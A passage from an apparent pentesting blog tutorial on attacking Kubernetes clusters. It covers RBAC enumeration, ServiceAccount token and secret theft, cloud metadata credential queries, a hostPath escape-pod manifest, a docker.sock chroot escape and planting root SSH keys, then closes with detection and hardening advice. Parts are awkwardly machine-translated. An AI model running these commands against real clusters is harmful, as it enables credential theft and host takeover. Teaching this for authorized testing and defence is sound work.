linux

Kubernetes Pentesting: RBAC, Secrets, PrivEsc and Kubectl

Kubernetes Pentesting: RBAC, Secrets, PrivEsc and Kubectl

Kubernetes pentest: How a stolen token in a Pod leads, via RBAC and nodes/proxies, to privilege escalation and root shell on the node, with kubectl and cheatsheet.

  • Posted on 2026-09-22
  • Reading time: 15 min

Kubernetes Pentesting: RBAC, Secrets, Privilege Escalation and Container Escape #

Kubernetes pentesting involves enumerating a cluster's API Servers, namespaces, workloads, ServiceAccounts, and RBAC permissions, then checking whether excessive credentials, configurations, or permissions allow you to read Secrets, execute code in Pods, escalate privileges via workloads or RBAC, or compromise the underlying host node.

This article starts from scratch: if you've never touched Kubernetes before, the next few lines explain what it is and how to talk about it, before getting into the offensive part.

What is Kubernetes, in short? #

Kubernetes is a system that runs applications packaged in containers (small, isolated software units, typically created with Docker) on multiple machines simultaneously. Its job is to decide which machine to run each piece of the application on, automatically restart it if it crashes, and enable the various parts to communicate with each other—without a human having to do it manually each time.

The name “Kubernetes” (often abbreviated K8s ) comes from the Greek and means “helmsman” — the idea is to pilot/orchestrate many containers at once, which is why it’s called “container orchestration.”

To get your bearings, just a few terms are enough, from the smallest to the largest:

  • Containers: an isolated application (e.g. your website, a database).
  • Under: The smallest unit that Kubernetes actually manages—a “box” containing one or more containers. Kubernetes never touches the container directly; it always moves the entire Pod.
  • Node: the machine (physical or virtual) that runs the Pods.
  • namespace: a logical folder that separates groups of Pods in the same cluster (e.g. default for normal apps, kube-system for the internal components of Kubernetes itself).
  • Cluster: the total set of nodes, namespaces, and Pods managed together — “the cluster” is all of Kubernetes you’re looking at.

What kubectl #

kubectl is the official command-line program for communicating with a Kubernetes cluster—it's the equivalent of an SSH client for a server, but for Kubernetes. Each command you'll see in this article (kubectl get pods, kubectl auth can-i…) does nothing more than send an HTTP request to theAPI Server (the cluster's "switchboard," explained below) and show you the response in a readable format. All it does is kubectl it can also be done with curl directly against the API Server — kubectl it's just more comfortable.

Workflow #

text
1. Network/API discovery       9.  Network (Service, DNS, NetworkPolicy)
2. Autenticazione (token/cert) 10. Kubelet
3. Identità corrente           11. etcd
4. API/resource discovery      12. Cloud metadata (IMDS)
5. RBAC enumeration            13. Privilege escalation
6. Secrets/credential hunting  14. Container escape
7. Workload enumeration        15. Lateral movement
8. Admission/Pod Security      16. Persistence / Detection

Each phase is conditional: a Forbidden It's not a dead end, it's information — he says this The resource/verb/namespace/identity combination is not allowed, not that access is terminated. The checklist:

text
[ ] Identificare API Server, versione, endpoint di health
[ ] Enumerare namespace, nodi, Pod (kubectl get pods -A -o wide)
[ ] Enumerare API disponibili (api-resources, api-versions, /api, /apis)
[ ] Enumerare ServiceAccount, token, kubeconfig, certificati
[ ] Enumerare Role/ClusterRole/RoleBinding/ClusterRoleBinding
[ ] Testare permessi pericolosi (pods/exec, nodes/proxy, impersonate, rolebindings...)
[ ] Enumerare Secrets, ConfigMap, env vars, ImagePullSecrets
[ ] Enumerare Deployment/DaemonSet/StatefulSet/Job/CronJob e securityContext
[ ] Verificare Pod Security Admission e webhook di ammissione
[ ] Enumerare Service, EndpointSlice, Ingress, NetworkPolicy, DNS interno
[ ] Verificare autenticazione/autorizzazione del Kubelet (10250/10255)
[ ] Verificare esposizione etcd (2379/2380)
[ ] Verificare identità cloud (IMDS) se il cluster gira su AWS/Azure/GCP
[ ] Tentare privilege escalation (workload, RBAC, nodes/proxy)
[ ] Tentare container escape (hostPath, privileged, runtime socket, capabilities)
[ ] Documentare persistenza e valutare detection/hardening

Architecture in practice #

  • Containers: an isolated application.
  • Under: the basic unit managed by Kubernetes — the “box” that holds one or more containers.
  • Node: the machine that houses the Pods.
  • namespace: logical separation of groups of Pods (default, kube-system, kube-public, kube-node-lease always present; custom namespaces such as dev report application configurations).
  • API Server: the central access point, doors 6443/8443, sometimes 8080 without authentication.
  • kubelet: runs on every node and manages local containers, ports 10250 (full API) and 10255 (read-only).
  • etcd: The database that contains the state of the entire cluster.
text
kubectl / API client ──► API Server (:6443/:8443)
                            ├── Authentication
                            ├── Authorization (RBAC)
                            └── Admission Control
                                    │
                ┌───────────────────┼───────────────────┐
                ▼                   ▼                   ▼
          Nodo 1 (kubelet)    Nodo 2 (kubelet)    Nodo 3 (kubelet)
PortServiceNote
6443 / 443kube-apiserverMain API
8443kube-apiserverCommon on minikube/k3s
8080kube-apiserverHistorically without auth
10250kubeletFull API
10255Kubelet (read-only)If enabled
2379 / 2380etcdClient API / peer communication
4194cAdvisorContainer metrics
30000-32767Node PortServices exposed on nodes

1. Initial Recon #

bash
nmap -n -T4 -p 443,2379,2380,4194,6443,8443,8080,10250,10255,10256,30000-32767 <target>

Without credentials:

bash
curl -k https://<target>:8443/api
curl -k https://<target>:8443/healthz
curl -k https://<target>:8443/version

A valid JSON response only proves that the endpoint responded—it doesn't prove that anonymous access has useful privileges. Always explicitly verify what that identity can do (RBAC section) before considering it as an exploitable vector.

With kubectl or a token:

bash
kubectl version
kubectl cluster-info
kubectl config current-context
kubectl get namespaces
kubectl get nodes -o wide
kubectl get pods -A -o wide

Search: custom namespace in addition to the 4 standard ones, Pods with non-generic names/images, internal IPs, ServiceAccounts different from default.

Which namespaces to query, in order of priority #

kubectl get namespaces always show at least these 4 (plus any custom namespaces created by the application):

  1. kube-system — The system namespace contains the cluster's internal components (controllers, schedulers, autoscalers, etc.) and often the most privileged secrets/tokens. It's the first namespace to check for extended RBAC permissions.
  2. Custom application namespaces (Eg. dev, staging, production) — if the app you compromised has one, you will often find other instances of the same service (replicas, test environments) with different tokens/permissions — useful for lateral movement.
  3. default — where workloads that don't specify an explicit namespace end up; as interesting as the application running on them.
  4. kube-public —intended for information that can be read even without authentication; it rarely contains anything exploitable, but should be checked for completeness.
  5. kube-node-lease — only handles node heartbeats (reports whether a node is alive); almost never useful in a pentest, so you can skip it if time is limited.

API discovery #

bash
kubectl api-resources
kubectl api-resources --verbs=list
kubectl api-resources --namespaced=false
kubectl api-versions
kubectl get --raw /api
kubectl get --raw /apis
kubectl get --raw /version

The logical flow: which APIs exist → which resources exist → which I have access to (next section).

2. Identity: tokens, kubeconfig, certificates #

bash
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

Technical note: on modern clusters (Kubernetes 1.22+) this is no longer a permanent static Secret by default — it is a token projected, short-term and automatically rotated by the Kubelet. The static Secret model still exists for compatibility and in legacy configurations (common in labs), but always check exp in the JWT payload before taking it for granted.

bash
export KUBE_TOKEN=$(cat token)
export KUBE_API="https://<target>:8443"
kubectl get pods --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

Without the three flags, kubectl uses the local configuration (which does not point to the target) and returns errors like invalid character '<' looking for beginning of value — HTML received instead of JSON.

Also check if the Pod is configured to automatically mount the token:

bash
kubectl get pod <POD> -n <NS> -o jsonpath='{.spec.automountServiceAccountToken}'

false explicit (or inherited from the ServiceAccount) means that that Pod has no tokens to steal in the first place — a hardening check that is worth checking even offensively to understand where NOT to waste time.

3. RBAC enumeration #

RBAC (Role-Based Access Control) is the system by which Kubernetes decides who can do what. It works with a few interlocking pieces:

  • Un Role (o ClusterRole (if it applies to the entire cluster rather than a single namespace) is a list of permissions — e.g. “you can read Pods”, “you can delete Secrets”.
  • Un RoleBinding (o ClusterRoleBinding) links that Role to a specific identity (a user, or — what we are interested in in a pentest — a ServiceAccount of a Pod).

In practice: the Role says what can be done, the Binding says who can do itWithout a Binding, a Role exists but is not assigned to anyone and has no effect (full details in the official RBAC documentation). kubectl auth can-i It's the command that tells you, directly, the final result of this chain for the identity you're using at that moment — without having to manually read each Role and Binding one by one (although, later on, you'll learn to do that when you need to understand because permission is granted).

bash
kubectl auth can-i --list --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl auth can-i --list -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

Permissions are tied to a namespace via RoleBinding, or globally through ClusterRoleBindingThe same token can have zero extra permissions in one namespace and extensive permissions in another — this must be checked on a namespace-by-namespace basis.

To rebuild the ServiceAccount → RoleBinding → Role/ClusterRole → effective permissions chain :

bash
kubectl get serviceaccounts -A
kubectl get roles -A
kubectl get clusterroles
kubectl get rolebindings -A
kubectl get clusterrolebindings

kubectl describe role <ROLE> -n <NS>
kubectl describe clusterrolebinding <BINDING>

Target: understand what actions the current identity can perform. What to look for: secrets, pods/exec, create pods, rolebindings, clusterrolebindings, nodes/proxy, impersonate. If you find secrets → go to Secrets. If you find create pods/pods/exec → switch to Privilege Escalation.

Dangerous Permit Matrix #

PermitWhat it enables
get/list secretsCredential theft
create/update podsEscalation via malicious Pod (hostPath, privileged)
create pods/execExecuting commands in existing Pods, without creating new ones — distinct subresource, the verb that matters is create
create pods/attach, pods/portforwardDirect interaction with the container
create rolebindingsAssigning existing roles to a controlled ServiceAccount
create clusterrolebindingsEscalation to cluster-admin
create serviceaccountsCreating new identities
patch/update deployments/daemonsetsTaking control of an existing trusted workload
create daemonsetsRunning on every node in the cluster
impersonateActing as another user/group's identity
get/create nodes/proxySee below — this is not read-only permission

pods/exec is a distinct sub-resource from pods: a token can have get/list su pods without being able to perform anything within them, or vice versa having create su pods/exec and be able to execute commands in ANY reachable Pod, without creating anything.

bash
kubectl auth can-i create pods/exec -n <ns>
kubectl auth can-i create rolebindings -n <ns>
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i get nodes/proxy

nodes/proxy: the permission that seems read-only but isn't #

nodes/proxy forwards HTTP requests from the Server API directly to a node's Kubelet, without requiring direct network access to the Kubelet or its TLS certificates — thus bypassing any network restrictions to port 10250. GET On this permission you can already read the specifics of each Pod on the node (including environment variables, often containing secrets), the Kubelet configuration and the container logs:

bash
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/pods
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/configz

This permission is granted by default to many monitoring/observability stacks (Prometheus exporters, metric agents), and is therefore commonly considered harmless. In January 2026, researcher Graham Helton showed that this assumption is wrong: executing commands in a Pod via Kubelet starts with a WebSocket handshake that begins as an HTTP request. GET, and Kubernetes authorizes that request based on the verb only — so an identity with just the nodes/proxy GET can start a session exec complete, without ever having permission pods/exec explicit. The Kubernetes project has classified this behavior as "works as expected" rather than CVE. The permission is commonly granted to monitoring components—always check, on a case-by-case basis during engagement, whether a ServiceAccount with nodes/proxy is actually present and whether the described authorization gap is still exploitable on the target cluster version, before considering it a guaranteed path. The original finding, with technical details on the WebSocket handshake, is documented by Graham Helton.

4. Secrets, ConfigMap and credential hunting #

kubectl get secrets (plural) lists ALL secrets in a namespace — this is the enumeration command, it only tells you names/types/ages, not contents. kubectl get secret <NOME> (singular, with a specific name) shows the detail of only ONE secret — that's where the field appears data with true values. -n <namespace> in both cases it limits the search to that specific namespace (without, kubectl use the default namespace of your configuration, often default).

bash
kubectl get secrets -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl get secret <NAME> -n <NS> -o yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

Distinguish the type: Opaque (generic data), kubernetes.io/tls (certificate+key), kubernetes.io/dockerconfigjson (private registry credentials), kubernetes.io/service-account-token (legacy token).

bash
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data}'
echo "<valore>" | base64 -d

-o jsonpath='{.data}' extracts ONLY the field data from the output (without metadata, kind, etc.) — useful for avoiding scrolling through long output when you only need the value. You can also point to a single field instead of all of them:

bash
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data.token}'

Every value inside data:, for any secret and any type (token, password, TLS certificate…), is always base64 encoded — never in cleartext. It's not encryption, just encoding: echo "<valore>" | base64 -d It always restores it to the original text, without needing any special keys or permissions other than being able to read the secret itself.

Not all credentials end up in a Secret — they're often directly in the workload definition:

bash
kubectl get configmaps -A
kubectl get pod <POD> -n <NS> -o yaml

In YAML search env:, envFrom:, secretKeyRef:, configMapKeyRef:, and strings like password, token, apikey, access_key, connectionstring, private_key.

ImagePullSecrets deserves a dedicated check, because a dockerconfigjson exposed gives access to an entire private Docker registry:

bash
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.imagePullSecrets[*].name}{"\n"}{end}'
kubectl get secrets -A | grep -i docker

5. Workload, security context and admission #

bash
kubectl get deployments,daemonsets,statefulsets,jobs,cronjobs -A
kubectl get deployment <NAME> -n <NS> -o yaml

In addition to reading about existing workloads, ask yourself if you can to modify it a trusted one instead of creating a new one — often patch/update on an existing deployment it is a permission granted more easily than create pods:

bash
kubectl auth can-i patch deployments -n <ns>
kubectl auth can-i update daemonsets -n <ns>

For each workload, the securityContext decides whether an escape is already available without any RBAC escalation:

yaml
securityContext:
  privileged: true
  capabilities:
    add: ["SYS_ADMIN"]
hostNetwork: true
hostPID: true
hostIPC: true

Also check the Pod Security Admission level applied to the namespace (stable since 1.25: privileged, baseline, restricted):

bash
kubectl get ns --show-labels | grep pod-security

A namespace without a label pod-security.kubernetes.io/enforce, or set to privileged, does not block hostPath nor container privileged — your escape route remains open even with strict RBAC. Also check for custom admission webhooks, which could block (or conversely allow) configurations that RBAC alone doesn't control:

bash
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

6. Network and DNS Enumeration #

bash
kubectl get svc,endpointslices,ingress,networkpolicies -A

Flow: Pod → Service → Endpoint → Application. ClusterIP it is only reachable from inside; NodePort it is exposed on every node (30000-32767); LoadBalancer typically external via cloud provider. In the absence of NetworkPolicy applied, the default network behavior generally allows traffic between Pods according to the CNI configuration in use — actual reachability between Pods depends on both the absence of policies and the cluster network plugin, and should always be verified with a direct test and not assumed a priori. When a NetworkPolicy, save podSelector, namespaceSelector, ipBlock and the rules ingress/egress separately: a policy that filters only ingress still leaves egress to other Pods free.

From within a Pod, service discovery goes through the internal DNS:

bash
cat /etc/resolv.conf
nslookup <service>.<namespace>.svc.cluster.local

The pattern <service>.<namespace>.svc.cluster.local It allows you to reach by name any Service in the cluster to which the network/RBAC gives you access, without having to know internal IPs by heart.

7. Lateral movement #

If the compromised application is distributed across multiple replicas (Deployment), each lives in a different Pod — often in different namespaces — with potentially different ServiceAccounts and RBAC permissions. The principle is the same as lateral movement classic: repeat the obtained access against identical or similar targets, hoping for a different configuration that will open new permissions.

bash
kubectl get pods -n <namespace> -o wide --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt

The column IP show internal address (typical range 10.42.0.0/24 with Flannel/k3s, 172.17.0.0/16 (with Docker bridge). With a tunnel to that subnet (e.g., Ligolo-ng after the first foothold), repeat the same application exploit against each replica to get a different token from each. The internal IPs they are not reachable from outside the cluster Without a dedicated tunnel: A direct attempt from an external machine fails silently or times out.

8. Kubelet #

bash
curl -k https://<node>:10250/pods
curl -k https://<node>:10250/runningpods/
curl -k https://<node>:10250/metrics
curl -k https://<node>:10250/configz

Access depends on authentication + authorization of the Kubelet, both configurable and not standardized on each installation. Unauthorized indicates that authentication is required. Even after authentication has passed, Kubelet applies its own authorization model: it can be configured in AlwaysAllow (very permissive, historically common) or in mode Webhook (delegates the decision to the API Server via a SubjectAccessReview, more restrictive) — always check which mode is actually in use instead of assuming it based on the open port alone.

text
10250 aperta?
  ├─ NO  → torna all'API Server / nodes-proxy
  └─ YES
      ├─ 401 Unauthorized → cerca token/certificati client validi
      └─ 200 OK → enumera /pods, poi /exec, /run, /portForward

If reachable without credentials, the endpoints /exec, /run, /attach, /portForward, /containerLogs allow you to run commands directly in a container on that node, completely bypassing the API Server audit log.

9. etcd #

bash
nmap -p 2379,2380 <target>
curl -k https://<target>:2379/version

2379 is the client API (where potentially all the cluster Secrets reside in clear text if not encrypted at rest), 2380 Communication between etcd cluster members. It should never be exposed beyond the cluster control network; if reachable and unauthenticated, etcdctl get / --prefix --keys-only extracts the entire key namespace.

10. Kubeconfig and certificates #

bash
echo $KUBECONFIG
cat ~/.kube/config 2>/dev/null
find /home /root /etc -type f \( -name "config" -o -name "kubeconfig" \) 2>/dev/null | grep -i kube
find /etc/kubernetes -type f 2>/dev/null

File as /etc/kubernetes/admin.conf, kubelet.conf, controller-manager.conf, scheduler.conf They often contain administrative level credentials left on a node where the cluster was configured/bootstrapped.

bash
kubectl config get-contexts --kubeconfig=<file_trovato>
kubectl config view --raw --kubeconfig=<file_trovato>

11. Cloud credentials (AWS/Azure/GCP) #

If the node is running on a cloud VM, the Pod can have access to the instance metadata service—a vector independent of RBAC, which falls under the same AWS security logic applied from within a cluster rather than from outside:

bash
# AWS (EKS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP (GKE)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (AKS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01"

If reachable without network restrictions at the Pod level, this exposes the host node's IAM credentials — often more powerful than any RBAC role within the cluster.

12. Privilege escalation: creating a malicious Pod #

Before choosing the technique, the decision branch based on what you have already obtained from the RBAC enumeration:

text
Hai create pods?
   ├─ SÌ → verifica Pod Security Admission → hostPath / privileged (vedi sotto)
   └─ NO
       ├─ Hai patch/update su un Deployment esistente? → modifica workload fidato
       ├─ Hai create daemonsets? → esecuzione forzata su ogni nodo
       ├─ Hai create rolebindings/clusterrolebindings? → assegnati un ClusterRole esistente più ampio
       └─ Hai nodes/proxy (get)? → verifica accesso al Kubelet (sezione 8)

With create su pods, the most direct technique to reach the host filesystem is a Pod with volume hostPath.

bash
kubectl get pods --all-namespaces --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt \
  | grep -v NAMESPACE \
  | while read line; do
      ns=$(echo $line | awk '{print $1}'); name=$(echo $line | awk '{print $2}')
      kubectl get pod $name -o yaml -n $ns --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt | grep '  - image: '
    done | sort -u

Check first what images are available locally: if the node does not have Internet access, an image like alpine from Docker Hub fails with ErrImagePull.

yaml
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: kube-system
spec:
  containers:
  - name: escape
    image: localhost:5000/node_server
    command: ["/bin/sh"]
    args: ["-c", "sleep 300000"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Line by line, for those who have never written a Kubernetes manifest:

  • image: localhost:5000/node_server — the image from which to create the container. This must be an image already present locally (see above), not one downloaded from the Internet.
  • command / args — what the container runs when it starts. A Pod (like a Docker container) terminates automatically when its main process ends —it's not like a VM that stays on by default. If you don't give it anything to do, the container runs the image's default command and likely exits immediately, terminating the Pod before you can enter it with kubectl exec. sleep 300000 It simply says “wait 300000 seconds” (just over 83 hours) — an arbitrarily chosen number, large enough to keep the Pod alive for the duration of the test. An equivalent, equally common alternative is tail -f /dev/null (forever follows a file that never produces output).
  • volumeMounts + volumes — the mechanism by which Kubernetes “plugs” an external resource (here, a folder) into the container. name: hostfs it's just a fancy label that connects the two sections (the volume declared in volumes and the declared mounting point in volumeMounts they must have the same name to be the same thing); mountPath: /mnt says “this external resource will appear inside the container at the folder /mnt".
  • hostPath: path: / — the type of volume you are attaching: not a Kubernetes-managed storage space, but directly a filesystem folder host node (/ = the entire root). This is the point that makes the Pod “malicious”: whatever you write/read in /mnt inside the container, you are actually writing/reading it to the disk of the physical/virtual machine hosting the Pod.
  • namespace: kube-system — chosen here only for consistency with the example (the Pod could live in any namespace where your token allowed create pods).
bash
kubectl apply -f escape-pod.yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl exec escape-pod --stdin --tty -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt -- /bin/sh

/mnt It's now the host machine's real filesystem. For a persistent shell: write a key SSH publish in /mnt/root/.ssh/authorized_keys (creating .ssh with permits 700 and the file with 600) and connect via SSH as root.

13. Container escape: alternative routes #

Creating a new Pod is just one way—the actual container escape techniques are the same as for any containerized environment, not just Kubernetes (see Docker Security and Container Escape for the big picture). If you already have a shell in an existing Pod:

  • hostPath already mounted — check mount o kubectl describe pod for host-mapped volumes.
  • Privileged Containers capsh --print o /proc/self/status (field CapEff).
  • Socket runtime exposed — if /var/run/docker.sock (or the containerd/CRI-O equivalent) is mounted: docker -H unix:///var/run/docker.sock run -v /:/hostfs --rm -it alpine chroot /hostfs sh.
  • hostPID/hostNetwork — access to /proc/<pid> of the host or the node's network stack.
  • Dangerous Capabilities SYS_ADMIN, SYS_PTRACE, DAC_READ_SEARCH. Once out of the container, the same logic of privilege escalation Linux e GTFOBins normally applies to the host.
  • Vulnerability of the kernel/runtime — vulnerabilities known as Leaky Vessels (CVE-2024-21626, runc) allow escapes regardless of RBAC configuration.

14. Persistence (in authorized scope) #

The following techniques are the Kubernetes-specific version of general post-exploitation concepts :

  • Un CronJob which periodically recreates the login.
  • An RoleBinding/ClusterRoleBinding additional towards a ServiceAccount under control.
  • A sidecar container injected into an existing deployment.

It should always be documented and removed at the end of the engagement.

Example attack path #

text
ServiceAccount a basso privilegio
        ↓ list pods
Individua workload vulnerabile
        ↓ pods/exec o nodes/proxy GET
Esecuzione comandi / furto token
        ↓ RBAC enumeration sul nuovo token
create pods (o create rolebindings)
        ↓ hostPath / cluster-admin
Filesystem del nodo o controllo cluster completo
        ↓ kubeconfig / credenziali cloud
Escalation oltre il singolo cluster

Detection & Hardening #

TimelineMisconfigurationDetectionMitigation
Theft SecretsRBAC too permissiveAPI Server Audit LogLeast privilege on Role/RoleBinding
Pod Abusecreate pods/pods/exec not necessaryAudit on create/connectGranular RBAC + Pod Security Admission
nodes/proxy → RCEPermission granted to monitoring toolsAudit on proxy requests to /proxy/exec, /proxy/runTo remove nodes/proxy from monitoring roles where not essential; runtime visibility
Host compromisehostPath, privilegedAdmission logPod Security Admission restricted
Kubelet Abuse10250/10255 exposed, AlwaysAllowNetwork Logs/IDSmodality Webhook, network segmentation
Lateral movementLack of Network PolicyInternal flow logsNetworkPolicy default-deny

Additional points: disable automountServiceAccountToken where it is not needed; prefer tokens projected to expire shortly; use external secrets managers (Vault, external-secrets); active audit logging with alerts on create/patch of sensitive resources (Pod with hostPath, RoleBinding, ClusterRoleBinding) and on request nodes/proxy towards execution endpoints.

FAQ #

What is Kubernetes? A system that automatically manages containerized applications across multiple machines—it decides where to run them, restarts them if they crash, and allows them to communicate with each other. Often abbreviated to K8s.

What is a Pod? The smallest unit managed by Kubernetes: a "box" containing one or more containers. Kubernetes always manages the Pod as a whole, never the container in isolation.

What kubectl? The official command-line client for interacting with a Kubernetes cluster — it sends HTTP requests to the API Server and displays the response in a readable format. Each command kubectl has an equivalent in a call curl direct.

What is RBAC? Role-Based Access Control: the system by which Kubernetes decides who can do what, using Roles/ClusterRoles (permissions) tied to an identity with RoleBinding/ClusterRoleBinding.

What's the difference between API Server and Kubelet? API Server (6443/8443) manages the entire cluster. Kubelet (10250/10255) runs on each node and manages local containers—if accessible without restrictions, it can bypass API Server auditing.

What pods/exec? A distinct sub-resource from pods: the specific permission to execute commands inside an already existing container, independent of get/list on the Pods themselves.

What nodes/proxy and why isn't it "just reading"? Forward requests from the API Server to a node's Kubelet. Even with just the verb GET, allows you to start command execution sessions in the Pods of that node, for a gap in the authorization of the WebSocket used by exec —publicly documented in 2026.

Where is the ServiceAccount token located? /var/run/secrets/kubernetes.io/serviceaccount/tokenIn modern clusters it is a short-term projected token, no longer a permanent static secret by default.

Does "Port 10250 open" always mean free access? No — it depends on the Kubelet's authentication/authorization configuration, which varies by version and installation. You should always verify the actual status before considering it usable.

create pods is it always necessary for escalation? No. With an existing Pod that has hostPath, privileged, or the mounted runtime socket, escaping does not require creating a new one.

#kubernetes-privilege-escalation #rbac-exploitation #container-escape #kubelet-nodes-proxy #service-account-token-theft

leave a message

I'm not a robot